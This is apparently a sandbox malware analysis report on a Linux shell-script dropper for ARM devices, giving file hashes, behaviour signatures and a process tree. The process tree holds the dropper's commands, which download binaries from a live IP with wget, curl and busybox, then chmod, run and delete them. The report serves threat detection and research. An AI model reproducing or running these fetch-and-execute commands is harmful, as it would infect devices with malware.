Analysis

  • max time kernel
    6s
  • max time network
    7s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 02:04

General

  • Target

    0a1308880420110e9878381af3dfb552e8e6acc4a111e97a100e56b011cf1bbd.sh

  • Size

    10KB

  • MD5

    8831ac149f5712a653b2ed7d4a827e57

  • SHA1

    e48119cbe7dcbf516620e6b82c96350ecb491554

  • SHA256

    0a1308880420110e9878381af3dfb552e8e6acc4a111e97a100e56b011cf1bbd

  • SHA512

    368cdcd017b026288093ca2a837a48c67cee319efbe80778a1a7c80f7206446b4944f3ade0ba0e8bfa35bc140fc293621629cd99e3e8e54e7226c2598122500f

  • SSDEEP

    96:HMMfw0o7MQoiYo7XjoP3uZJs/CqDyu7hlQdddimXhGXhaXh+WXhyXhCXhnEQyhlT:MAmyjhlQdddiGmSHqaGhlQddtmSHqalu

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/0a1308880420110e9878381af3dfb552e8e6acc4a111e97a100e56b011cf1bbd.sh
    /tmp/0a1308880420110e9878381af3dfb552e8e6acc4a111e97a100e56b011cf1bbd.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://87.120.126.196/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
          2⤵
            PID:661
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:670
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
            2⤵
              PID:679
            • /bin/chmod
              chmod 777 XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
              2⤵
              • File and Directory Permissions Modification
              PID:682
            • /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
              ./XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
              2⤵
              • Executes dropped EXE
              PID:684
            • /bin/rm
              rm XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
              2⤵
                PID:685
              • /usr/bin/wget
                wget http://87.120.126.196/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                2⤵
                  PID:686
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:689
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                  2⤵
                    PID:690
                  • /bin/chmod
                    chmod 777 jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                    2⤵
                    • File and Directory Permissions Modification
                    PID:709
                  • /tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                    ./jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                    2⤵
                    • Executes dropped EXE
                    PID:710
                  • /bin/rm
                    rm jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
                    2⤵
                      PID:711
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                      2⤵
                        PID:713
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:717
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                        2⤵
                          PID:722
                        • /bin/chmod
                          chmod 777 ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                          2⤵
                          • File and Directory Permissions Modification
                          PID:742
                        • /tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                          ./ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                          2⤵
                          • Executes dropped EXE
                          PID:743
                        • /bin/rm
                          rm ekoIDag2IrendezgvRAX8H4MvHggSiH31v
                          2⤵
                            PID:744
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
                            2⤵
                              PID:745

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ

                            Filesize

                            153B

                            MD5

                            998368d7c95ea4293237f2320546e440

                            SHA1

                            30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                            SHA256

                            533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                            SHA512

                            648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97